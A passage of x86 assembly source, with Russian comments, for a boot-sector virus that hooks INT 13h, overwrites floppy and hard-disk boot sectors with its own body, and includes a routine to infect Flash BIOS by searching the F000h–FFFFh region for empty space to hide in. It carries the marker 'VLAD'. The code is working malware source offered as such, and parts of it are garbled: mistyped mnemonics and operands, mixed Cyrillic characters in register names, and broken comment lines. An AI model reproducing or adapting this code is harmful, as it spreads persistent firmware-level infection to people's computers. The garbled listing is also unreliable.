jb infect_floppy ; Установим номера дорожки, головки и сектора для жесткого
; диска для сохранения оригинального boot-сектора
mov cx, 2
xor dh, dh
jmp write_virus
infect_Floppy:
; Установим номера дорожки, головки и сектора для дискеты
; для сохранения оригинального boot-сектора
mov сх, 14
mov dh, 1
Write_Virus:
; Записываем оригинальный boot-сектор
mov ax, 0301h
call int-lSh
jc pop_exit
; Установим сегментный регистр ES на сегмент с вирусом
push cs
pop es
; Сбросим флаг зараженности Flash BIOS
mov byte ptr cs:flash_done, 0
; 3апишем тело вируса в boot-сектор
xor bx, bx
mov ax, 0301h
mov cx, 0001h
xor dh, dh
call int13h
; Восстановим регистры и флаги (как раз те их значения, которые
; свидетельствуют о том, что boot-сектор только что считали)
Pop_Exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
; Выходим из обработчика в вызывающую программу
retf2
; 3апуск оригинального обработчика
jend:
DD 0EAh ; Код команды JMP FAR ;
Оригинальный вектор INT13h
i13 DD 0
; Вызов прерывания INT 13h
int13h proc near
pushf
call dword ptr cs:[i13]
ret
int13h endp
; Первые два байта слова используются как сигнатура
Marker db 'VLAD'
; Эта подпрограмма заражает Flash BIOS
Flash_BIOS Proc Near
; Проверим наличие Flash BIOS
mov ax, 0e000h
int 16h
jc no_flash_bios
cmp al, 0FAh
jne no_flash_bios
; Сначала найдем хорошее место для хранения вируса.
; Просканируем память F000h-FFFFh, где обычно находится BIOS,
; на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,
; но выделить нужно с запасом
infect_Flash:
; Остановим начальный сегмент для поиска
mov ax, 0F000h
mov ds, ax
; Проверим сегмент
New_segment:
; Остановим стартовое смещение
xor si, si
; Остановим счетчик найденных байт
; (величина свободного места для вируса)
xor dx, dx
ok_new_segment:
; Перейдем к следующему сегменту
inc ax
mov ds, ax
; Проверим, есть ли еще место для вируса
cmp ax, 0FFF0h
je no_flash_BIOS
; Проверим, свободно ли место (для скорости проверяем словами)
test16:
cmp word ptr [si], 0
jne new_segment
; Увеличим счетчик размера найденного свободного места
inc dx
; Проверим, достаточно ли найденного места. Сравниваем с 1 Кбайт, но
; так как память сканируем словами, сравниваем с 512 (1 Кбайт=512 слов)
cmp dx, 512
je found_storage
; Увеличим смещение проверяемого байта
inc si
inc si
; Сравним с 16. Переходим к следующему сегменту
; в начале каждого параграфа
cmp si, 16